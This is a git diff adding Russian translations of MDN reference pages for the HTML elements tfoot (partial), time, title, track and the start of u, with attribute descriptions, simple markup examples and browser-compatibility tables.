+    <td style="background-color: teal; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">teal</span> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">fuchsia</span> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">aqua</span> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Usage note: </strong>Do not use this attribute, as it is non-standard and only implemented some versions of Microsoft Internet Explorer: the {{ HTMLElement("tfoot") }} element should be styled using <a href="/en/CSS" title="en/CSS">CSS</a>. To give a similar effect to the <strong>bgcolor</strong> attribute, use the <a href="/en/CSS" title="en/CSS">CSS</a> property {{ cssxref("background-color") }}, on the relevant {{ HTMLElement("td") }} or {{ HTMLElement("th") }} elements.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("char") }} {{ Deprecated_inline() }} в {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} в {{ HTMLVersionInline("5") }}</dt>
+ <dd>This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{ htmlattrxref("align", "tfoot") }} is not set to <span style="font-family: courier new;">char</span>, this attribute is ignored.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard. To achieve the same effect as the {{ htmlattrxref("char", "tbtfootody") }}, in CSS3, you can use the character set using the {{ htmlattrxref("char", "tfoot") }} attribute as the value of the {{ cssxref("text-align") }} property {{ unimplemented_inline() }}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("charoff") }} {{ Deprecated_inline() }} в {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} в {{ HTMLVersionInline("5") }}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <strong>char</strong> attribute.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("valign") }} {{ Deprecated_inline() }} в {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} в {{ HTMLVersionInline("5") }}</dt>
+ <dd>Этот атрибут задает вертикальное выравнивание текста в каждой строке ячеек заголовка таблицы. Возможные значения для этого атрибута:
+ <ul>
+  <li><span style="font-family: courier new;">baseline</span>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="http://en.wikipedia.org/wiki/Baseline_%28typography%29" title="http://en.wikipedia.org/wiki/Baseline_(typography)">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <span style="font-family: courier new;">bottom</span>.</li>
+  <li><span style="font-family: courier new;">bottom</span>, which will put the text as close to the bottom of the cell as it is possible;</li>
+  <li><span style="font-family: courier new;">middle</span>, which will center the text in the cell;</li>
+  <li>and <span style="font-family: courier new;">top</span>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard: instead set the CSS {{ cssxref("vertical-align") }} property on it.</div>
+ </dd>
+</dl>
+
+<h2 id="DOM_интерфейс">DOM интерфейс</h2>
+
+<p>Этот элемент реализует интерфейс <code><a href="/en/docs/Web/API/HTMLTableSectionElement" title="en/DOM/HTMLTableSectionElement">HTMLTableSectionElement</a></code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Пожалуйста обратитесь к странице {{ HTMLElement("table") }} для примера <code>&lt;tfoot&gt;</code>.</p>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1.0") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> attribute</td>
+   <td>1.0</td>
+   <td>{{ CompatNo() }} {{ bug("915") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> attribute</td>
+   <td>1.0</td>
+   <td>{{ CompatNo() }} {{ bug("2212") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> attribute {{ Non-standard_inline() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.0") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> attribute</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }} {{ bug("915") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> attribute</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }} {{ bug("2212") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> attribute {{ Non-standard_inline() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>Other table-related HTML Elements: {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }};</li>
+ <li>CSS properties and pseudo-classes that may be specially useful to style the <span style="font-family: courier new;">&lt;tfoot&gt;</span> element:
+  <ul>
+   <li>the {{ cssxref(":nth-child") }} pseudo-class to set the alignment on the cells of the column;</li>
+   <li>the {{ cssxref("text-align") }} property to align all cells content on the same character, like '.'.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ru/web/html/element/time/index.html b/files/ru/web/html/element/time/index.html
new file mode 100644
index 0000000000..2eaeff5f33
--- /dev/null
+++ b/files/ru/web/html/element/time/index.html
@@ -0,0 +1,162 @@
+---
+title: <time>
+slug: Web/HTML/Element/time
+translation_of: Web/HTML/Element/time
+---
+<p><strong>Элемент HTML</strong> <strong><code>&lt;time&gt;</code></strong> используется для представления либо времени в 24-рехчасовом формате, либо точной даты по <a class="external" href="http://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B8%D0%B3%D0%BE%D1%80%D0%B8%D0%B0%D0%BD%D1%81%D0%BA%D0%B8%D0%B9_%D0%BA%D0%B0%D0%BB%D0%B5%D0%BD%D0%B4%D0%B0%D1%80%D1%8C" title="http://ru.wikipedia.org/wiki/Григорианский_календарь">Григорианскому календарю</a> (с опциональным указанием времени и часового пояса).</p>
+
+<p>Этот элемент предназначен для представления дат и времени в машиночитаемом формате. Это облегчает клиентским приложениям добавление событий в календарь пользователя. </p>
+
+<div class="note"><strong>Замечание по применению: </strong>Этот элемент неуместно использовать, когда точная дата не определена, а также при использовании дат ранее введения Григорианского календаря (из-за проблем с работой с такими датами).</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories" title="HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>, явный контент.</td>
+  </tr>
+  <tr>
+   <th>Разрешённый контент</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th>Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th>Разрешённые родители</th>
+   <td>Любой элемент, который принимает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th>Разрешённые ARIA роли</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th>DOM-интерфейс</th>
+   <td>{{domxref("HTMLTimeElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Как и все другие элементы HTML, этот элемент поддерживает <a href="/ru/docs/HTML/Global_attributes" title="HTML/Global attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>Этот атрибут специфицирует время и дату и должен быть <a class="external" href="https://www.w3.org/TR/html/infrastructure.html#dates-and-times" title="http://www.w3.org/TR/html5/common-microsyntaxes.html#valid-date-string-with-optional-time">допустимой датой с возможным дополнительным указанием времени</a>. Если значение элемента не может быть распознано как дата с возможным дополнительным указанием времени, элементу не будет сопоставлен временной срез (timestamp).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Simple_example" name="Simple_example">Простой пример</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Концерт начинается в &lt;time&gt;20:00&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="Output" name="Output">Вывод</h4>
+
+<p>{{ EmbedLiveSample('Simple_example', 250, 60) }}</p>
+
+<h3 id="Datetime_example" name="Datetime_example">пример <code>datetime</code></h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Концерт состоялся &lt;time datetime="2001-05-15 19:00"&gt;15 мая&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="Вывод">Вывод</h4>
+
+<p>{{ EmbedLiveSample('Datetime_example', 250, 60) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Неизменен с {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'grouping-content.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Нет изменений с {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первое появление</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Опция</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>33.0</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>9.0</td>
+   <td>22.0</td>
+   <td>7.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Опция</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.1</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10.0</td>
+   <td>11.50<br>
+    Removed in 15.0</td>
+   <td>4.0-4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>The {{HTMLElement("data")}} элемент, позволяющий обозначать другие типы данных.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ru/web/html/element/title/index.html b/files/ru/web/html/element/title/index.html
new file mode 100644
index 0000000000..32c1165044
--- /dev/null
+++ b/files/ru/web/html/element/title/index.html
@@ -0,0 +1,140 @@
+---
+title: '<title>: элемент заголовка документа'
+slug: Web/HTML/Element/title
+tags:
+  - Element
+  - HTML
+  - Title
+  - Web
+  - Веб
+  - Заголовок вкладки
+  - Заголовок окна
+  - Заголовок страницы
+  - Имя вкладки
+  - Имя окна
+  - Имя страницы
+  - Справка
+  - Элемент
+  - метаданные
+  - метаданные документа HTML
+translation_of: Web/HTML/Element/title
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент заголовка</strong> (<strong><code>&lt;title&gt;</code></strong>) определяет заголовок документа, который отображается в заголовке окна {{glossary("Browser", "браузера")}} или на вкладке страницы. Он содержит только текст, а теги внутри элемента игнорируются.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Метаданные">Метаданные</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td>Текст, который не является межэлементным {{glossary("Whitespace", "разделителем")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Открывающий и закрывающий теги обязательны. Обратите внимание, что отсутствие <code>&lt;/title&gt;</code> заставляет браузер игнорировать остальную часть страницы.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Элемент {{ HTMLElement("head") }}, который не содержит других элементов {{ HTMLElement("title") }}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Отсутствуют.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLTitleElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы только <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Элемент <code>&lt;title&gt;</code> всегда используется внутри блока {{HTMLElement("head")}}.</p>
+
+<h3 id="Заголовок_страницы_и_SEO">Заголовок страницы и SEO</h3>
+
+<p>Содержимое заголовка страницы может иметь важное значение для поисковой оптимизации ({{glossary("SEO")}}). Как правило, более длинный описательный заголовок будет лучше ранжироваться ({{glossary("Ranking")}}), чем короткий или скучный. Не только содержимое заголовка является одним из компонентов, используемых алгоритмами для определения порядка, в котором перечисляются страницы в поисковой выдаче, но и сам заголовок является приемом, которым вы привлекаете внимание читателей бегло просматривающих результаты поиска.</p>
+
+<p>Несколько методических рекомендаций и советов для составления хороших заголовков:</p>
+
+<ul>
+ <li>избегайте заголовков состоящих из одного или двух слов. Используйте описательные фразы или сочетание термин-определение для страниц глоссария (словарь терминов) или справки;</li>
+ <li>поисковые системы, как правило, отображают примерно 55-60 первых символов заголовка страницы. Текст, превышающий это количество символов, может быть потерян, так что постарайтесь, чтобы заголовки не были длиннее. Если вам нужно использовать более длинный заголовок, убедитесь, что важные части появляются раньше и что нет ничего критического в части заголовка, которая может быть отброшена;</li>
+ <li>избегайте специальных символов, когда это возможно; не все браузеры будут отображать их одинаково. Например, "&lt;" часто отображается в строке заголовка окна как "&amp;lt;" - символ-мнемоника "меньше" в HTML ({{Glossary("entity")}});</li>
+ <li>не используйте ключевые слова ("keyword blobs"). Если ваш заголовок состоит только из списка слов, то алгоритмы будут часто искусственно понижать позицию вашей страницы в поисковой выдаче;</li>
+ <li>убедитесь, что ваш заголовок является уникальным на вашем сайте, насколько это возможно. Повторяющиеся или частично повторяющиеся заголовки могут способствовать неточным результатам поиска.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;title&gt;Потрясающий заголовок страницы&lt;/title&gt;
+</pre>
+
+<p>Этот пример устанавливает заголовок страницы (отображается в верхней части окна или вкладки браузера) как "Потрясающий заголовок страницы".</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Важно указать такое значение <code>title</code>, которое описывает назначение страницы.</p>
+
+<p>Обычная техника навигации для пользователей вспомогательных технологий - прочитать заголовок страницы и определить какой контент она содержит. Это потому, что навигация по странице для определения ее содержимого может занять время и, возможно, привести к путанице.</p>
+
+<h3 id="Пример_2">Пример</h3>
+
+<pre>&lt;title&gt;Меню - Китайская еда Синий дом - FoodYum: онлайн на вынос сегодня!&lt;/title&gt;
+</pre>
+
+<p>Для того чтобы помочь пользователю, обновите значение <code>title</code>, чтобы отразить важные изменения состояния страницы (например, проблемы с проверкой формы).</p>
+
+<h3 id="Пример_3">Пример</h3>
+
+<pre>&lt;title&gt;2 ошибки - Ваш заказ - Китайская еда Синий дом - FoodYum: онлайн на вынос сегодня!&lt;/title&gt;
+</pre>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_—_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Understanding WCAG, Guideline 2.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-title.html">Understanding Success Criterion 2.4.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-title-element', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-title-element', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.2', '&lt;title&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам "pull request" (предложение изменения кода в чужом репозитории).</p>
+
+<p>{{Compat("html.elements.title")}}</p>
diff --git a/files/ru/web/html/element/track/index.html b/files/ru/web/html/element/track/index.html
new file mode 100644
index 0000000000..d9d7f801d6
--- /dev/null
+++ b/files/ru/web/html/element/track/index.html
@@ -0,0 +1,179 @@
+---
+title: '<track>: Встраиваемая текстовая дорожка'
+slug: Web/HTML/Element/track
+tags:
+  - Element
+  - HTML
+  - HTML embedded content
+  - HTML5
+  - Multimedia
+  - Reference
+  - TextTrack
+  - Web
+  - Веб
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/track
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML-элемент <code>&lt;track&gt;</code> </strong> используется как дочерний элемент медиа-элементов {{HTMLElement("audio")}} and {{HTMLElement("video")}}. Позволяет указать синхронизированные текстовые дорожки (или данные на основе времени), например, для автоматической обработки субтитров. Файлы треков используют <a href="/ru/docs/Web/API/WebVTT_API">формат WebVTT</a> (<code>.vtt</code> файлы) — Web Video Text Tracks или <a href="https://w3c.github.io/ttml2/index.html">Timed Text Markup Language (TTML).</a></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/track.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td>Нет, это {{Glossary("empty element", "пустой элемент")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>Так как это пустой элемент, то открывающий тег обязателен, закрывающего не должно быть.</td>
+  </tr>
+  <tr>
+   <th scope="row">Неявная ARIA-роль</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">Нет соответствующей роли</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Медиа элемент, перед любым <a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%9F%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%B2%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82">потоковым контентом</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA-роли</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLTrackElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент использует <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("default")}}</dt>
+ <dd>Этот атрибут указывает, что дорожка должна быть включена, если пользовательские настройки не указывают, что другая дорожка является более подходящей. Может использоваться только для одного элемента <code>track</code> в элементе мультимедиа.</dd>
+ <dt>{{htmlattrdef("kind")}}</dt>
+ <dd>Как текстовый трек должен быть использован. Если значение опущено, тип по умолчанию — <code>subtitles</code> (субтитры). Если атрибут отсутствует, будет использоваться <code>subtitles</code>. Если атрибут содержит недопустимое значение, оно принимает значение <code>metadata</code>. (Версии Chrome ранее 52 рассматривали недопустимое значение как <code>subtitles</code>.) Допускаются следующие ключевые слова:
+ <ul>
+  <li><code>subtitles</code>
+   <ul>
+    <li>Субтитры обеспечивают перевод контента, который не может быть понят зрителем. Например, диалог или текст, который не является английским, в фильме на английском языке.</li>
+    <li>Субтитры могут содержать дополнительный контент, обычно дополнительную справочную информацию. Например, текст в начале фильмов «Звездных войн» или дата, время и место действия сцены.</li>
+   </ul>
+  </li>
+  <li><code>captions</code>
+   <ul>
+    <li>Подписи обеспечивают транскрипцию и, возможно, перевод аудио.</li>
+    <li>Подписи могут включать важную невербальную информацию, такую ​​как музыкальные сигналы или звуковые эффекты. Возможно указывать источник сигналов (например, музыка, текст, персонаж).</li>
+    <li>Подходит для пользователей со слабым слухом или когда звук отключен.</li>
+   </ul>
+  </li>
+  <li><code>descriptions</code>
+   <ul>
+    <li>Текстовое описание видеоконтента.</li>
+    <li>Подходит для слепых пользователей или там, где видео не видно.</li>
+   </ul>
+  </li>
+  <li><code>chapters</code>
+   <ul>
+    <li>Названия глав предназначены для использования при навигации по медиа-ресурсу.</li>
+   </ul>
+  </li>
+  <li><code>metadata</code>
+   <ul>
+    <li>Данные, используемые скриптами. Не видны пользователю.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>Видимый пользователю заголовок текстовой дорожки, который используется браузером при выводе списка доступных текстовых дорожек.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Адрес файла текстовой дорожки (<code>.vtt</code> файл). Должен быть действительным URL. Этот атрибут должен быть указан, а его значение URL должно иметь то же происхождение, что и документ — исключая случаи, когда родительский {{HTMLElement("audio")}} или {{HTMLElement("video")}} данного <code>track</code> элемента имеет атрибут <code><a href="/ru/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code>.</dd>
+ <dt>{{htmlattrdef("srclang")}}</dt>
+ <dd>Язык текстовых данных трека. Это должен быть валидный <a href="https://r12a.github.io/app-subtags/">BCP 47</a> языковой тег (см. также <a href="https://www.w3.org/International/articles/language-tags/">языковые тэги в HTML и XML)</a>. Если для атрибута <code>kind</code> установлено значение <code>subtitles</code>, должен быть определён атрибут <code>srclang</code>.</dd>
+</dl>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<h3 id="Типы_данных_дорожки">Типы данных дорожки</h3>
+
+<p>Тип данных, которые трек добавляет на носитель, задается в атрибуте <code>kind</code>, который может принимать значения <code>subtitles</code>, <code>captions</code>, <code>descriptions</code>, <code>chapters</code> или <code>metadata</code>. Элемент указывает на исходный файл, содержащий синхронизированный по времени текст, который браузер предоставляет, когда пользователь запрашивает дополнительные данные.</p>
+
+<p>Отдельный <code>media</code> элемент не может иметь элементы <code>track</code> с одинаковыми значениями <code>kind</code>, <code>srclang</code> и <code>label</code>.</p>
+
+<h3 id="Обнаружение_изменений_сигнала">Обнаружение изменений сигнала</h3>
+
+<p>{{page("/ru/docs/Web/API/TextTrack/cuechange_event", "On the track element")}}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html notranslate">&lt;video controls poster="/images/sample.gif"&gt;
+   &lt;source src="sample.mp4" type="video/mp4"&gt;
+   &lt;source src="sample.ogv" type="video/ogv"&gt;
+   &lt;track kind="captions" src="sampleCaptions.vtt" srclang="en"&gt;
+   &lt;track kind="descriptions"
+     src="sampleDescriptions.vtt" srclang="en"&gt;
+   &lt;track kind="chapters" src="sampleChapters.vtt" srclang="en"&gt;
+   &lt;track kind="subtitles" src="sampleSubtitles_de.vtt" srclang="de"&gt;
+   &lt;track kind="subtitles" src="sampleSubtitles_en.vtt" srclang="en"&gt;
+   &lt;track kind="subtitles" src="sampleSubtitles_ja.vtt" srclang="ja"&gt;
+   &lt;track kind="subtitles" src="sampleSubtitles_oz.vtt" srclang="oz"&gt;
+   &lt;track kind="metadata" src="keyStage1.vtt" srclang="en"
+     label="Key Stage 1"&gt;
+   &lt;track kind="metadata" src="keyStage2.vtt" srclang="en"
+     label="Key Stage 2"&gt;
+   &lt;track kind="metadata" src="keyStage3.vtt" srclang="en"
+     label="Key Stage 3"&gt;
+   &lt;!-- Fallback --&gt;
+   ...
+&lt;/video&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','embedded-content.html#the-track-element','track element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "semantics-embedded-content.html#the-track-element", "track element")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.track")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/WebVTT_API">WebVTT — формат файлов текстовой дорожки</a></li>
+ <li>{{domxref("HTMLMediaElement.textTracks")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/u/index.html b/files/ru/web/html/element/u/index.html
new file mode 100644
index 0000000000..814e23532f
--- /dev/null
+++ b/files/ru/web/html/element/u/index.html
@@ -0,0 +1,200 @@
+---
+title: '<u>: Элемент слабой аннотации (подчеркивание)'
+slug: Web/HTML/Element/u
+translation_of: Web/HTML/Element/u
+---
+<div>{{HTMLRef}}</div>
+
